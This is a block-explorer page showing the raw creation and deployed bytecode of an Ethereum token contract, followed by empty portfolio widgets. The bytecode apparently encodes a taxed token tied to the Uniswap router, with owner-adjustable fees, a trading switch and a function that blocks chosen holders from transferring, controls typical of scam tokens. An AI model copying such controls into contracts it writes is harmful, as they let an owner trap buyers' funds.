10e2a565b509250929050565b5f82610e7557506001610438565b81610e8157505f610438565b8160018114610e975760028114610ea157610ebd565b6001915050610438565b60ff841115610eb257610eb2610e11565b50506001821b610438565b5060208310610133831016604e8410600b8410161715610ee0575081810a610438565b610eea8383610e25565b805f1904821115610efd57610efd610e11565b029392505050565b5f6105cb60ff841683610e67565b808202811582820484141761043857610438610e11565b8181038181111561043857610438610e11565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610f61575f80fd5b81516105cb81610cc5565b5f82610f8657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610fd95784516001600160a01b031683529383019391830191600101610fb4565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561043857610438610e1156fea26469706673582212206286d4231db2a5979ce537e8fe5ad1872706a81e90ecc68940c20019ad6cdddc64736f6c63430008140033
Deployed Bytecode
0x6080604052600436106100e7575f3560e01c806370a0823111610087578063a8aa1b3111610057578063a8aa1b31146102a3578063a9059cbb146102da578063dd62ed3e146102f9578063fb201b1d1461032f575f80fd5b806370a082311461023157806390ec57f11461025c57806395d89b411461027b5780639db7f97f1461028f575f80fd5b806323b872dd116100c257806323b872dd1461016d578063313ce5671461018c5780634abe3052146101b25780636fef948814610210575f80fd5b806306fdde03146100f2578063095ea7b31461011c57806318160ddd1461014b575f80fd5b366100ee57005b5f80fd5b3480156100fd575f80fd5b50610106610343565b6040516101139190610c7a565b60405180910390f35b348015610127575f80fd5b5061013b610136366004610cd9565b6103d2565b6040519015158152602001610113565b348015610156575f80fd5b5061015f61043e565b604051908152602001610113565b348015610178575f80fd5b5061013b610187366004610d03565b61045b565b348015610197575f80fd5b506101a0601281565b60405160ff9091168152602001610113565b3480156101bd575f80fd5b506005546101e7906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610113565b34801561021b575f80fd5b5061022f61022a366004610d56565b6104a8565b005b34801561023c575f80fd5b5061015f61024b366004610d87565b60026020525f908152604090205481565b348015610267575f80fd5b5061022f610276366004610cd9565b61050a565b348015610286575f80fd5b5061010661058d565b34801561029a575f80fd5b5061022f61059c565b3480156102ae575f80fd5b506007546102c2906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b3480156102e5575f80fd5b5061013b6102f4366004610cd9565b6105bf565b348015610304575f80fd5b5061015f610313366004610da2565b600360209081525f928352604080842090915290825290205481565b34801561033a575f80fd5b5061022f6105d2565b60605f805461035190610dd9565b80601f016020809104026020016040519081016040528092919081815260200182805461037d90610dd9565b80156103c85780601f1061039f576101008083540402835291602001916103c8565b820191905f5260205f20905b8154815290600101906020018083116103ab57829003601f168201915b5050505050905090565b335f8181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061042c9086815260200190565b60405180910390a35060015b92915050565b61044a6012600a610f05565b610458906323c34600610f13565b81565b6001600160a01b0383165f90815260036020908152604080832033845290915281208054839190839061048f908490610f2a565b909155506104a09050848484610788565b949350505050565b6005546001600160a01b031633146104d257604051629af2b160e81b815260040160405180910390fd5b6005805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b5050565b60065f8154811061051d5761051d610f3d565b5f918252602090912001546001600160a01b031633148061054857506005546001600160a01b031633145b156100ee576007546001600160a01b0390811690831603610567575f80fd5b6001600160a01b0382165f908152600460205260409020805460ff191660011790555050565b60606001805461035190610dd9565b6005546001600160a01b031633146105b2575f80fd5b476105bc81610c43565b50565b5f6105cb338484610788565b9392505050565b6005546001600160a01b031633146105e8575f80fd5b600754600160a81b900460ff16156105fe575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106739190610f51565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ea9190610f51565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa158015610739573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075d9190610f51565b60078054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f8061079c6005546001600160a01b031690565b600754909150600160a81b900460ff16806107c85750806001600160a01b0316856001600160a01b0316145b806107e45750806001600160a01b0316846001600160a01b0316145b6107ec575f80fd5b6001600160a01b0385165f9081526002602052604081208054859290610813908490610f2a565b90915550506007546001600160a01b03858116911614801561083f5750600754600160a01b900460ff16155b801561087e575060646108546012600a610f05565b610862906323c34600610f13565b61086c9190610f6c565b305f9081526002602052604090205410155b801561089c5750806001600160a01b0316856001600160a01b031614155b15610a7a576007805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106108e7576108e7610f3d565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610957573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097b9190610f51565b8160018151811061098e5761098e610f3d565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646109ce6012600a610f05565b6109dc906323c34600610f13565b6109e69190610f6c565b5f8430426040518663ffffffff1660e01b8152600401610a0a959493929190610f8b565b5f604051808303815f87803b158015610a21575f80fd5b505af1158015610a33573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610a6a573d5f803e3d5ffd5b50506007805460ff60a01b191690555b60055460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610ab85750600754600160a81b900460ff1615156001145b15610bbb576007546001600160a01b0390811690871603610af7576001600160a01b0387165f9081526004602052604090205460ff1615610af7575f80fd5b6007546001600160a01b03878116911614801590610b2357506007546001600160a01b03888116911614155b15610b4c576001600160a01b0387165f9081526004602052604090205460ff1615610b4c575f80fd5b6007545f906064906001600160a01b03898116911614610b6c5783610b6e565b825b610b7b9060ff1688610f13565b610b859190610f6c565b9050610b918187610f2a565b305f90815260026020526040812080549298508392909190610bb4908490610ffa565b9091555050505b6001600160a01b0386165f9081526002602052604081208054879290610be2908490610ffa565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610c2e91815260200190565b60405180910390a35060019695505050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610506573d5f803e3d5ffd5b5f6020808352835180828501525f5b81811015610ca557858101830151858201604001528201610c89565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105bc575f80fd5b5f8060408385031215610cea575f80fd5b8235610cf581610cc5565b946020939093013593505050565b5f805f60608486031215610d15575f80fd5b8335610d2081610cc5565b92506020840135610d3081610cc5565b929592945050506040919091013590565b803560ff81168114610d51575f80fd5b919050565b5f8060408385031215610d67575f80fd5b610d7083610d41565b9150610d7e60208401610d41565b90509250929050565b5f60208284031215610d97575f80fd5b81356105cb81610cc5565b5f8060408385031215610db3575f80fd5b8235610dbe81610cc5565b91506020830135610dce81610cc5565b809150509250929050565b600181811c90821680610ded57607f821691505b602082108103610e0b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e5f57815f1904821115610e4557610e45610e11565b80851615610e5257918102915b93841c9390800290610e2a565b509250929050565b5f82610e7557506001610438565b81610e8157505f610438565b8160018114610e975760028114610ea157610ebd565b6001915050610438565b60ff841115610eb257610eb2610e11565b50506001821b610438565b5060208310610133831016604e8410600b8410161715610ee0575081810a610438565b610eea8383610e25565b805f1904821115610efd57610efd610e11565b029392505050565b5f6105cb60ff841683610e67565b808202811582820484141761043857610438610e11565b8181038181111561043857610438610e11565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610f61575f80fd5b81516105cb81610cc5565b5f82610f8657634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610fd95784516001600160a01b031683529383019391830191600101610fb4565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561043857610438610e1156fea26469706673582212206286d4231db2a5979ce537e8fe5ad1872706a81e90ecc68940c20019ad6cdddc64736f6c63430008140033
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.